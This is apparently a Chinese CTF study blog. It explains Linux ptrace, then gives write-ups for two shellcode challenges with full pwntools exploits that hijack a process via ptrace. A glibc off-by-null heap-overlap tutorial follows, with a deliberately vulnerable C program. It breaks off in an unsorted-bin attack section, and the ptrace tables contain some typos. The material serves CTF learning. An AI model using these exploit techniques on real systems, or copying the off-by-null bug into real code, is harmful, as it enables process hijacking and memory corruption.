PWN Note

落雪的小玩意

浅析ptrace系统调用

一、ptrace系统调用基础

1. 核心使命:观察和控制线程执行

在类 Unix 操作系统中,ptrace(process trace,进程追踪)系统调用是一项基础而强大的机制。它为单个进程(被称为”追踪者“,tracer)提供了一种能力,使其能够深入地观察并控制另一个进程(被称为”被追踪者“,tracee)的执行。

ptrace 的核心功能涵盖了:

  • 检查并修改被追踪者的内存和寄存器
  • 拦截其发起的系统调用
  • 管理投递给它的信号

这一机制的主要且合法的应用场景包括:

  • 实现用户空间的调试器(如 GDB)
  • 系统调用追踪工具(如 strace)

2. 追踪者-被追踪者关系:一种基于线程的范式

在 Linux 系统中,一个关键且常常被误解的概念是:ptrace 的操作对象是线程(thread),而非进程(process)

  • 在 ptrace 的语境下,”tracee” 始终指代一个独立的线程ID(TID),绝非一个可能包含多个线程的进程ID(PID)
  • 在一个多线程进程中,每个线程都可以被独立地附着到一个(可能不同的)追踪者,或者完全不被追踪

这种基于线程的粒度赋予了 ptrace 极大的灵活性,使其能够支持复杂的调试场景,例如在多线程应用中只追踪一个出现问题的特定线程,而让其他线程不受干扰地继续运行。

3. 基础交互循环

所有基于 ptrace 的工具都遵循一个基础的交互模型:

  1. 追踪者通过 ptrace() 系统调用向内核发出指令
  2. 但它不通过 ptrace() 的返回值来获知被追踪者状态变化
  3. 而是依赖 waitpid() 来接收来自内核的通知

当追踪相关事件在被追踪者身上发生时:

  • 内核立即暂停被追踪线程执行,将其置于”追踪停止”(ptrace-stop)状态
  • 内核通过 waitpid() 唤醒追踪者,并返回状态值
  • 追踪者解析状态值,理解停止原因

在被追踪者处于停止状态的时间窗口内:

  • 追踪者可以安全地使用其他 ptrace 请求检查寄存器、读写内存
  • 完成操作后,必须调用重启类 ptrace 请求(如 PTRACE_CONTPTRACE_SYSCALL)恢复执行

核心交互循环ptrace(重启) → waitpid(等待事件) → ptrace(检查/修改)

这种交互模型揭示了 ptrace 的根本特性:

  • 它是一种同步的、事件驱动的机制
  • 但其事件粒度相对较粗
  • 每次交互都强制被追踪线程进入”停止-运行”循环
  • 性能问题根源:频繁的上下文切换

对于一个被拦截的系统调用,至少需要四次上下文切换:

  1. 被追踪者进入内核
  2. 内核切换到追踪者
  3. 追踪者返回内核
  4. 内核恢复被追踪者

二、 建立与管理追踪关系

1. 主动追踪:使用 PTRACE_TRACEME 的 fork/execve 模型

这是追踪新进程的经典模型,常用于 strace ./program 这样的场景:

  1. 追踪者(父进程)调用 fork() 创建子进程
  2. 子进程调用 ptrace(PTRACE_TRACEME, 0, NULL, NULL) 向内核表明它愿意被其父进程追踪
  3. 子进程调用 execve() 加载并执行新程序
  4. 内核在新程序第一条指令执行前发送 SIGTRAP 信号
  5. 追踪者通过 waitpid() 捕获此事件,获得介入机会

2. 被动追踪:附着到正在运行的进程

这种模型被gdb --pid=<xxx> 等工具广泛运用

(1) 经典方法:PTRACE_ATTACH

1
ptrace(PTRACE_TRACEME, pid, NULL, NULL);
  • 向目标进程发送 SIGSTOP 信号,强制进入停止状态
  • 追踪者必须调用 waitpid() 等待停止事件
  • 侵入性:立即且无条件暂停目标线程执行

(2) 现代方法:PRTACE_SEIZE(Linux 3.4 起)

  • 关键区别:不会发送 SIGSTOP,目标继续正常运行
  • 追踪者需显式使用 PTRACE_INTERRUPT 或发送信号暂停目标
  • 非侵入式:适合实现基于事件的监控,无需初始中断

(3) 分析对比使用场景

特性 PTRACE_ATTACH PTRACE_SEIZE
附着行为 立即暂停目标进程 静默附着,目标继续运行
使用场景 传统 暂停-调试 模式的调式 需要监控但不干扰的场景
事件处理 通过 SIGSTOP 识别 使用 PTRACE_EVENT_STOP 语义更加清晰
设计理念 面向调试 面向通用进程监管

设计演进:PTRACE_SEIZE 将”附着”和”停止”解耦,允许追踪者像”潜伏者”一样静默建立监控,仅在需要时介入。

3. 解除关系

1
ptrace(PTRACE_DETACH, pid, null, signal);
  • 终止追踪关系
  • 被追踪者从停止状态恢复,继续执行
  • 关键技巧可通过 signal 参数注入信号
    • ptrace(PTRACE_DETACH, pid, NULL, SIGSTOP) 可使进程保持暂停状态
  • 恢复被追踪者原有的父子关系

三、 X86 架构下的 ptrace 参数详解

ptrace 系统调用原型:

1
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

第一个参数:request(请求类型)

在 X86 架构中,ptrace 请求类型有明确的数值定义。这是最关键的部分,特别是在汇编调用时必须使用正确的数值。

X86 架构下 ptrace 请求常量与数值对应表

请求常量 十六进制值 调用者 PID 参数 ADDR 参数 DATA 参数 备注 内核版本
PTRACE_TRACEME 0X0 Tracee 忽略 忽略 忽略 声明本进程可以被父进程追踪,必须在 execve前调用 1.0
PTRACE_PEEKTEXT 0X1 Tracer Tracee TID Tracee 代码段地址 忽略 读取 staree 代码段内存,返回值为读取的数据 1.0
PTRACE_PEEKDATA 0X2 Tracer Tracee TID Tracee 数据段地址 忽略 读取 tracee 数据段内存,返回值为读取的数据 1.0
PTRACE_PEEKUSER 0X3 Tracer Tracee TID USER 区偏移 忽略 读取 tracee USER 区域(寄存器等) 1.0
PTRACE_POKETEXT 0X4 Tracer Tracee TID Tracee 代码段地址 写入的数据 写入 tracee 代码段内存,成功返回0 1.0
PTRACE_POKEDATA 0X5 Tracer Tracee TID Tracee 数据段地址 写入的数据 写入 tracee 数据段内存,成功返回0 1.0
PTRACE_POKEUSER 0X6 Tracer Tracee TID USER 区偏移 写入的数据 写入 tracee USER 区域(寄存器等) 1.0
PTRACE_CONT 0X7 Tracer Tracee TID 忽略 注入信号 恢复 tracee 执行,0表述不发送信号 1.0
PTRACE_KILL 0X8 Tracer Tracee TID 忽略 忽略 终止 tracee ,发送SIGKILL 1.0
PTRACE_SINGLESTEP 0X9 Tracer Tracee TID 忽略 注入信号 单步执行 tracee ,执行一条指令后暂停 2.2
PTRACE_GETREGS 0XC Tracer Tracee TID 忽略 struct user_regs_struct* 获取通用寄存器,tracee 必须停止 2.2
PTRACE_SETREGS 0XD Tracer Tracee TID 忽略 struct user_regs_strust* 设置通用寄存器,reacee 必须停止 2.2
PTRACE_GETFPREGS 0XE Tracer Tracee TID 忽略 struct user_fpregs_struct* 获取浮点寄存器,tracee 必须停止 2.2
PTRACE_SETFPREGS 0XF Tracer Tracee TID 忽略 struct iser_fpregs_struct* 设置浮点寄存器,tracee 必须停止 2.2
PTRACE_ATTACH 0X10 Tracer Tracee TID 忽略 忽略 附着到正在运行的进程,会发送SIGSTOP 1.0
PTRACE_DETACH 0X11 Tracer Tracee TID 忽略 注入信号 解除追踪关系,0 表示不发送信号,SIGSTOP保持暂停 1.0
PTRACE_GETFPXREGS 0X12 Tracer Tracee TID 忽略 struct user_fpxregs_struct* 获取扩展浮点寄存器 2.2
PTRACE_SETFPXREGS 0X13 Tracer Tracee TID 忽略 struct user_fpxregs_struct* 设置扩展浮点寄存器 2.2
PTRACE_SYSCALL 0X18 Tracer Tracee TID 忽略 注入信号 继续执行,系统调用入口/出口暂停 1.0
PTRACE_SETOPTIONS 0X4200 Tracer Tracee TID 忽略 PTRACE_O_*位掩码 设置追踪选项 2.4.6
PTRACE_GETEVENTMSG 0X4201 Tracer Tracee TID 忽略 unsigned long* 获取事件消息(如新进程 PID) 2.5.46
PTRACE_GETINFO 0X4202 Tracer Tracee TID 忽略 siginfo_t* 获取信号详细信息 2.3.99
PTRACE_SETINFO 0X4203 Tracer Tracee TID 忽略 siginfo_t* 设置信号详细信息 2.3.99
PTRACE_GETREGSET 0X4204 Tracer Tracee TID NT_*类型 iovec* 获取寄存器集合(更通用) 2.6.34
PTRACE_SETREGSET 0X4205 Tracer Tracee TID NT_*类型 iovec* 设置寄存器集合(更通用) 2.6.34
PTRACE_SIEIZE 0X4206 Tracer Tracee TID 忽略 PTRACE_O_*位掩码 非侵入式附着,不会暂停进程 3.4
PTRACE_INTERRUPT 0X4207 Tracer Tracee TID 忽略 忽略 中断正在运行的 tracee 3.4
PTRACE_LISTEN 0X4208 Tracer Tracee TID 忽略 忽略 监听 tracee 状态,不发送信号 3.4

第二个参数:PID(进程/线程ID)

类型:pid_t 32位系统位4字节,64位系统位8字节

关键特性:

  • 在 ptrace 语境中,pid 始终表示线程 ID(TID),而非进程ID
  • 如果传入的是某进程的ID,那么 ptrace 的实际操作进程的主线程
  • 无法直接操作整个进程,只能操作单个线程

第三个参数:ADDR(地址参数)

类型: void*(在系统调用中解释为long

用途:

  • 内存相关操作中指定 teacee地址空间的目标地址
  • 寄存器相关操作中通常被忽略或表示寄存器偏移
  • 信号操作中通常被忽略

X86 特定:在 PEEK/POKE 请求中,addr 是 tracee 的虚拟内存地址

第四个参数:DATA(数据参数)

类型:void*(在系统调用中解释为long)

用途:

  • 输入:向内核提供数据(写入内存的内容)
  • 输出:向内核接收数据(读读取内存结果)
  • 混合:某些请求中既是输入又是输出

X86 特定:在 GETREGS/SETREGS 请求中,data 是指向 user_regs_struct 的指针

相关数据结构定义:

寄存器结构体

1. user_regs_struct(通用寄存器)

用途:通过 PTRACE_GETREGS/PTRACE_SETREGS 获取/设置通用寄存器

X86-64 架构定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct user_regs_struct 
{
unsigned long r15, r14, r13, r12, rbp, rbx, r11, r10;
unsigned long r9, r8, rax, rcx, rdx, rsi, rdi;
unsigned long orig_rax; // 系统调用号/返回值(+0x78)
unsigned long rip; // 指令指针(+0x80)
unsigned long cs; // 代码段寄存器
unsigned long eflags; // 标志寄存器
unsigned long rsp; // 栈指针
unsigned long ss; // 栈段寄存器
unsigned long fs_base; // FS 段基址
unsigned long gs_base; // GS 段基址
unsigned long ds, es, fs, gs; // 段寄存器
};

关键字段说明

  • orig_rax:系统调用号(在系统调用入口处)
  • rip:当前指令指针(程序计数器)
  • rsp:栈指针
  • rax:函数返回值/系统调用号

X86 架构定义

1
2
3
4
5
6
7
8
9
struct user_regs_struct 
{
long ebx, ecx, edx, esi, edi, ebp, eax;
int xds, xes, xfs, xgs;
long orig_eax; // 系统调用号
long eip; // 指令指针
short xcs, xss, xds, xes, xfs, xgs;
long eflags, esp;
};
2.user_fpregs_struct(浮点寄存器)

用途:通过 PTRACE_GETFPREGS/PTRACE_SETFPREGS 获取/设置传统浮点寄存器

X86-64 架构定义

1
2
3
4
struct user_fpregs_struct 
{
__uint128_t st_space[32]; // 80-bit x 8 寄存器
};

X86 架构定义

1
2
3
4
5
struct user_fpregs_struct 
{
int cwd, swd, twd, fip, fcs, foo, fos;
long st_space[20]; // 80-bit x 8 寄存器
};

关键字段说明

  • cwd:控制字寄存器
  • swd:状态字寄存器
  • twd:标记字寄存器
  • fip:指令指针
  • foo:操作数指针
  • st_space:实际的浮点寄存器栈
3.user_fpxregs_struct(扩展浮点寄存器)

用途:通过 PTRACE_GETFPXREGS/PTRACE_SETFPXREGS 获取/设置扩展浮点寄存器(SSE等)

X86-64 架构定义

1
2
3
4
5
6
struct user_fpxregs_struct 
{
__uint128_t st_space[32]; // 80-bit x 8 寄存器
__uint128_t xmm_space[32]; // 128-bit x 16 寄存器 (SSE)
unsigned int padding[24]; // 填充
};

X86 架构定义

1
2
3
4
5
6
7
8
struct user_fpxregs_struct 
{
unsigned short cwd, swd, twd, fop;
unsigned int fip, fcs, foo, fos, mxcsr, reserved;
long st_space[32]; // 80-bit x 8 寄存器
long xmm_space[32]; // 128-bit x 16 寄存器 (SSE)
long padding[56]; // 填充
};

关键字段说明

  • mxcsr:SSE 控制/状态寄存器
  • xmm_space:XMM 寄存器(SSE指令使用)

信号信息结构体

siginfo_t

用途:通过 PTRACE_GETSIGINFO/PTRACE_SETSIGINFO 获取/设置信号详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
typedef struct siginfo 
{
int si_signo; // 信号编号
int si_errno; // 错误码
int si_code; // 信号来源代码

// 以下字段根据 si_code 的值而不同
union {
int _pad[28]; // 保留空间

// kill(), sigsend(), raise() 发送的信号
struct {
pid_t _pid; // 发送进程ID
uid_t _uid; // 发送进程真实UID
} _kill;

// 定时器信号
struct {
timer_t _tid; // 定时器ID
int _overrun; // 超限计数
char _pad[sizeof(__ARCH_SI_UID_T) - sizeof(int)];
sigval_t _sigval;
int _sysid;
} _timer;

// 管道写入到无读取端
struct {
pid_t _pid; // 子进程ID
uid_t _uid; // 子进程真实UID
} _cld;

// 用户空间产生的信号
struct {
pid_t _pid; // 发送进程ID
uid_t _uid; // 发送进程真实UID
sigval_t _sigval;
} _rt;

// 段错误等硬件异常
struct {
void *_addr; // 错误地址
short _addr_lsb; // 地址LSB
union {
struct {
void *_addr2;
ushort _dummy2[3];
} _addr;
struct {
unsigned int _dummy1[3];
unsigned int _dummy2;
} _dummy;
} _bounds;
} _sigchld;

// 其他错误
struct {
void *_addr; // 错误地址
short _addr_lsb; // 地址LSB
void *_lower;
void *_upper;
} _sigfault;

// 系统调用跟踪
struct {
long _call_addr; // 系统调用指令地址
int _syscall; // 系统调用号
unsigned int _arch; // 系统调用架构
} _sigsys;
} _sifields;
} siginfo_t;

常用字段

  • si_signo:信号编号(如 SIGSEGV=11)
  • si_code:信号来源代码(如 SI_USER, SI_KERNEL, SI_QUEUE)
  • si_pid:发送信号的进程ID
  • si_uid:发送信号进程的真实UID
  • si_addr:导致错误的内存地址(对SIGSEGV等)

I/O向量结构

iovec

用途:通过 PTRACE_GETREGSET/PTRACE_SETREGSET 指定数据区域

1
2
3
4
5
struct iovec 
{
void *iov_base; // 数据缓冲区起始地址
size_t iov_len; // 缓冲区长度
};

使用方式

1
2
3
4
5
6
struct iovec iov;
iov.iov_base = &regs; // 指向寄存器结构
iov.iov_len = sizeof(regs);

// 获取寄存器集
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);

NT* 寄存器集常量

用途:通过 PTRACE_GETREGSET/PTRACE_SETREGSET 指定寄存器集类型

常量 用途
NT_PRSTATUS 1 进程状态信息
NT_PRFPREG 2 浮点寄存器
NT_PRPSINFO 3 进程信息
NT_AUXV 6 辅助向量
NT_X86_XSTATE 0x202 x86 扩展状态(包括 AVX 寄存器)
NT_ARM_VFP 0x400 ARM VFP/NEON 寄存器
NT_ARM_TLS 0x401 ARM TLS 寄存器
NT_S390_HIGH_GPRS 0x300 s390 上半部分寄存器

使用示例

1
2
3
4
5
6
// 获取 x86 扩展状态(包括 AVX 寄存器)
struct iovec iov;
iov.iov_base = &xsave;
iov.iov_len = sizeof(xsave);

ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov);

信号值对应表

信号值 信号名称 说明 与 TRACE 的关系
1 SIGHUP 挂起信号(终端断开连接) 通常会被追踪者转发给 tracee
2 SIGINT 中断信号(Ctrl+C) 通常会被追踪者捕获并处理
3 SIGQUIT 退出信号(Ctrl+\) 通常会被追踪者转发
4 SIGILL 非法指令 可能表示 tracee 执行了无效代码
5 SIGTRAP 跟踪/断点陷阱 ptrace 的核心信号,用于通知追踪事件
6 SIGABRT 程序异常终止 可能由 tracee 主动调用 abort() 产生
7 SIGBUS 总线错误 通常与内存访问错误相关
8 SIGFPE 浮点异常 算术运算错误
9 SIGKILL 强制终止 无法被捕获或忽略,追踪者可使用 PTRACE_KILL 发送
10 SIGUSR1 用户定义信号1 可用于自定义通信
11 SIGSEGV 段错误 内存访问违规
12 SIGUSR2 用户定义信号2 可用于自定义通信
13 SIGPIPE 管道错误 向已关闭的管道写入数据
14 SIGALRM 定时器信号 alarm() 定时器到期
15 SIGTERM 终止请求 请求进程正常退出
16 SIGSTKFLT 栈错误 x86 架构特定的信号
17 SIGCHLD 子进程状态变化 追踪子进程时关键信号
18 SIGCONT 继续执行 用于恢复被停止的进程
19 SIGSTOP 停止执行 无法被捕获或忽略,用于暂停进程
20 SIGTSTP 终端停止信号(Ctrl+Z) 通常会被追踪者捕获
21 SIGTTIN 后台进程尝试从终端读取 与终端 I/O 相关
22 SIGTTOU 后台进程尝试向终端写入 与终端 I/O 相关

示例题目分析:

NCTF2022 ezshellcode

先查看题目基本信息

checksec

code

程序非常简单,首先输出了当前进程号,然后mmap了一段可读可写可执行内存并读入shellcode,接着开启沙箱,并关闭了stdin、stdout、stderr,然后执行shellcode

seccomp

沙箱禁用了socket、connect、bind、listen这四个系统调用,阻止用户通过网络通信手段发送flag

首先输出了进程号,而且题目提供的docker start.h如下

1
2
3
4
5
6
7
8
#!/bin/sh
# Add your startup script

echo 0 > /proc/sys/kernel/yama/ptrace_scope

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

可以看到其中有 echo 0 > /proc/sys/kernel/yama/ptrace_scope

ptrace_scopeLinux 内核 Yama 安全模块中的一个关键参数,专门用于控制系统中 ptrace 系统调用的安全策略

ptrace_scope 的取值与含义

安全级别 允许的操作
0 最宽松 任何进程都可以被相同 UID 的进程跟踪(传统Linux行为)
1 默认限制 仅允许父进程跟踪子进程,或进程需有CAP_SYS_PTRACE能力
2 严格限制 仅允许有CAP_SYS_PTRACE能力的进程使用ptrace(禁用普通用户调试)
3 最严格 完全禁用 ptrace (除非内核特殊配置)

正好本题泄露了PID,所以我们可以在一个进程中调用 ptrace 然后 attach 到另一个卡在 read 系统调用的进程上,然后被在 ptraee 读完 shellcode 之后,直接通过 prtace 来设置寄存器,直接跳转到 shellcode ,从而绕过关闭流。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context(log_level='debug' , arch='amd64', os='linux')

pwnfile = "./pwn"

elf = ELF(pwnfile)
libc = elf.libc

is_remote = 0

if is_remote:
p = remote("localhost", 1234)
r = remote("localhost", 1234)
else:
p = process(pwnfile)
r = process(pwnfile)


if __name__ == "__main__":

p.recvuntil("Pid: ")
pid = int(p.recvline().strip())
print(f"Target PID: {pid}")

# addr = 0x401000
addr = 0x401000


shellcode = shellcraft.ptrace(0x10, pid, 0, 0) # PTRACE_ATTACH
shellcode += shellcraft.ptrace(0x18, pid, 0, 0) # PTRACE_SYSCALL
shellcode += shellcraft.ptrace(0xC, pid, 0, addr+0x500) #PTRACE_GETREGS
shellcode += '''
mov r8,0x401000
mov r9,0x401500
mov r10,qword ptr [r9+0x78]
mov r11,0
cmp r10,r11
je return
mov qword ptr [r9+0x80],r8
'''

shellcode += shellcraft.ptrace(0xD, pid, 0, addr + 0x500) # PTRACE_SETREGS
shellcode += shellcraft.ptrace(0x11, pid, 0, 0) # PTRACE_DETACH
shellcode += '''
return:
mov r12,0x401013
jmp r12
'''
r.send(asm(shellcode))
p.send(asm(shellcraft.sh()))

p.interactive()
r.interactive()

下面来简单解释一下exp

首先 attach 上对应的进程(tracee) shellcode = shellcraft.ptrace(0x10, pid, 0, 0) # PTRACE_ATTACH,然后让 tracee 在 read 系统调用出口处暂停 shellcode += shellcraft.ptrace(0x18, pid, 0, 0) # PTRACE_SYSCALL,然后通过获取寄存器来检测 ptraee 是否成功读入 shellcode ,若成功读入则设置子进程的 rip 为 shellcode 的地址,未成功读入则回到 PTRACE_SYSCALL,最后将寄存器发送给 tracee、detach tracee 就能成功 getshell。

getshell

NepCTF 2025 smallbox

查看题目基本信息

image-20250928003408692

image-20250928003711125

题目逻辑同样很简单,首先 mmap 了一段可读可写可执行的内存,然后fork了一个子进程,并使子进程进入无限死循环,然后读入 shellcode 并加载 沙箱,最后执行shellcode

沙箱信息如下,只允许了ptrace系统调用

但是我们注意到,子进程陷入了无限循环,并没有加载沙箱,所以这道题很明显是要我们利用父进程通过ptrace来劫持子进程的流程

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context( arch='amd64', os='linux', log_level='debug' )

pwnfile = './smallbox'

elf = ELF( pwnfile )
io = process( pwnfile )

if __name__ == '__main__':

shellcode = asm(
'''
mov r14,qword ptr [rbp-0xc]
''' )

"""orw
0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101
0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824
0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102
0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03
"""
# attach
shellcode += asm( shellcraft.ptrace(0x10, 'r14'))

# wait
shellcode += asm(
'''
mov rdi,0x1000
loop:
nop
nop
nop
nop
nop
nop
nop
sub rdi,1
test rdi,rdi
jnz loop
'''
)

# get_regs
shellcode += asm( shellcraft.ptrace(0xC, 'r14', 0, 0xdeadc0de000 + 0x500) )
shellcode += asm(
"""
mov r8,0xdeadc0de580
mov r9,0xdeadc0de000
mov qword ptr [r8],r9
"""
)
# inject
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de000, 0x010101010101b848))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de008, 0x672e2fb848500101))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de010, 0x043148010166606d))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de018, 0xf631d231e7894824))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de020, 0x01ba41050f58026a))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de028, 0x0301f28141010102))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de030, 0x6ad2315f016a0101))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de038, 0x00050f58286a5e03))

# set rip
shellcode += asm(shellcraft.ptrace(0xD, 'r14', 0, 0xdeadc0de000 + 0x500))
# detach
shellcode += asm(shellcraft.ptrace(0x11, 'r14', 0, 0))
shellcode += asm(
'''
mov rdi,0x1000
loop:
nop
nop
nop
nop
nop
nop
nop
sub rdi,1
test rdi,rdi
jnz loop
'''
)

io.sendafter(b'code:', shellcode )
io.interactive()

利用目的:构造堆块重叠

本质上是通过篡改 下一个堆块的 priv_inuse 位,然后通过 unlink 去实现合并,以此来构造堆重叠。

相关检测

需要绕过的检测和Unlink一模一样,这里简要介绍。

1. chunksize(P) == prev_size(next_chunk(P))

这部分检测源码如下:

1
2
3
4
5
/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
malloc_printerr("corrupted size vs. prev_size");

这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是_int_free函数中的检测)

2. fd->bk == P && bk -> fd == P

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
10
/* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

/* 链表完整性验证通过,执行移除操作 */
else {
/* 基本链表操作:让前驱和后继互相指向,跳过P */
FD->bk = BK;
BK->fd = FD;
....

其实就是在检测这个双向链表的结构是否完整。

3. not small

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
/* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);

简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

绕过方法也非常简单,不要让堆块落入 largebin 即可。

利用方法分析

我们使用下面的代码来作示范

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h> // malloc_usable_size

#define MAX_CHUNKS 10

char *chunks[MAX_CHUNKS];

void menu()
{
puts("==== Menu ====");
puts("1. Add");
puts("2. Edit");
puts("3. Show");
puts("4. Delete");
puts("5. Exit");
printf("> ");
}

int read_int()
{
char buf[16];
if (!fgets(buf, sizeof(buf), stdin)) exit(0);
return atoi(buf);
}

void add()
{
int idx;
for (idx = 0; idx < MAX_CHUNKS; idx++)
{
if (!chunks[idx]) break;
}
if (idx == MAX_CHUNKS)
{
puts("No free slot!");
return;
}
printf("Size: ");
size_t sz = read_int();
chunks[idx] = malloc(sz);
if (!chunks[idx])
{
puts("malloc failed");
exit(1);
}
printf("Data: ");
int end = read(0, chunks[idx], sz);

chunks[idx][end] = '\0';

puts("Added.");
}

void edit()
{
printf("Index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
{
puts("Invalid index");
return;
}
size_t real_size = malloc_usable_size(chunks[idx]);
printf("Data: ");
read(0, chunks[idx], real_size);
puts("Edited.");
}

void show()
{
printf("Index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
{
puts("Invalid index");
return;
}
puts(chunks[idx]);
puts("");
}

void delete()
{
printf("Index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
{
puts("Invalid index");
return;
}
free(chunks[idx]);
chunks[idx] = NULL;
puts("Deleted.");
}

int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

int choice;
while (1)
{
menu();
choice = read_int();
switch (choice)
{
case 1: add(); break;
case 2: edit(); break;
case 3: show(); break;
case 4: delete(); break;
case 5: exit(0);
default: puts("Invalid choice");
}
}
return 0;
}

gcc ./test.c -no-pie -o pwn(为了方便调试,我就把PIE关了)

首先我们先申请8个堆块(除了padding块外,其他的块应该大于等于0x410以此来防止其进入tcache)(大小不一定,但是要保证 被合并堆块的地址最后一位为\x00,这里是 C )

1
2
3
4
5
6
7
8
add(0x410) #0    A
add(0x100) #1 padding1
add(0x430) #2 B
add(0x430) #3 C
add(0x100) #4 padding2
add(0x480) #5 D
add(0x420) #6 E
add(0x100) #7 padding3

image-20250921012933918

最终我们要构造的是让 D 和 C 合并,首先我们先让 C 的 fd 指向 A , C 的 bk 指向 E(为 Unlink 做准备)

1
2
3
delete(0) #  A
delete(3) # C
delete(6) # E

image-20250921013046458

image-20250921013105506

然后我们释放 B,使其和 C 合并,然后再申请比 B 大的堆块(这里以大0x20为例,记作 B1)来修改掉原先 C(注意不要破坏 C 中我们保存下来的 fd 和 bk)

1
2
delete(2) #  B1
add(0x450,b'\x00'*0x430+p64(0)+p32(0x551)) #0 B1

下一步我们要让 A 的 bk 和 E 的 fd 指向 C,我们一步一步来操作。

首先来设置 A 的 bk

我们先把刚才释放掉的堆块申请回来,剩余的部分 C 记作 C1

1
2
3
add(0x410) #2    C1
add(0x410) #3 A
add(0x420) #6 E

然后我们依次释放 A 和 C1,使得 A 的 bk 指向 C1,然后再把A申请出来,并利用 off by null 修改 A 的 bk 最后一位使其指向 C

image-20250921015047110

然后我们来设置 E 的 fd

此时我们的 C1 仍在 unsorted bin 中,我们先释放 E,使得 E 的 fd 指向 C1,然后再释放 D,此时 D 会和 E 合并,然后我们再申请大于 D 的堆块,借此修改 E 的 fd 的最低位,使其指向C,至此绕过Unlink

1
2
3
4
5
delete(6) # E
delete(5) # D
add(0x4F8,b'\x00'*0x480+p64(0)+p64(0x431)) #3 D
add(0x3B8) #5 E1
add(0x418) #6 C1

image-20250921020018213

最后我们要做的就是修改 E 的 prev_size 和 prev_inuse 了,十分简单,释放掉 padding2 然后再次利用 off by null 就可以做到

1
2
delete(4) # padding2
add(0x108,b'\x00'*0x100+p64(0x550)) #4

image-20250921020519661

最后释放掉 D 即可触发堆 C 和 D 的合并

1
2
delete(3) # D
add(0x18) # 3

image-20250921021158075

后面就是泄露地址 + IO 攻击了。

unsorted bin Attack

1. 概述

Unsorted bin attack 自然是作用于Unsorted bin的,该攻击手段适用的libc版本是2.27及以下。条件是能够修改Unsorted Bin Chunk 的bk指针,这个攻击达到的效果就是在目标位置写入一个很大的值(main_arena + 88)

2. 原理剖析

在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

1
2
3
4
victim = unsorted_chunks (av)->bk
bck = victim->bk
unsorted_chunks (av)->bk = bck
bck->fd = unsorted_chunks (av)

逐行来解释一下这个代码
victim = unsorted_chunks (av)->bk :将Unsorted Bin中的最后一个chunk给到victim
bck = victim->bk :将最后一个chunk的前一个ckunk给bck
unsorted_chunks (av)->bk = bck :让 main_arena 指向bck
bck->fd = unsorted_chunks (av:将bck的fd指针修改为main_arena

那么很显然,如果我们可以控制Unsorted Bin 中chunk 的 bk指针,我们就可以向其中写入一个地址

*注意: 执行完 Unsorted Bin Attack 之后 Unsorted Bin 就损坏了,无法继续向里面放入chunk

3. 应用示例

我们用how2heap的源码进行演示

1
2
3
4
5
6
7
8
9
10
11
12
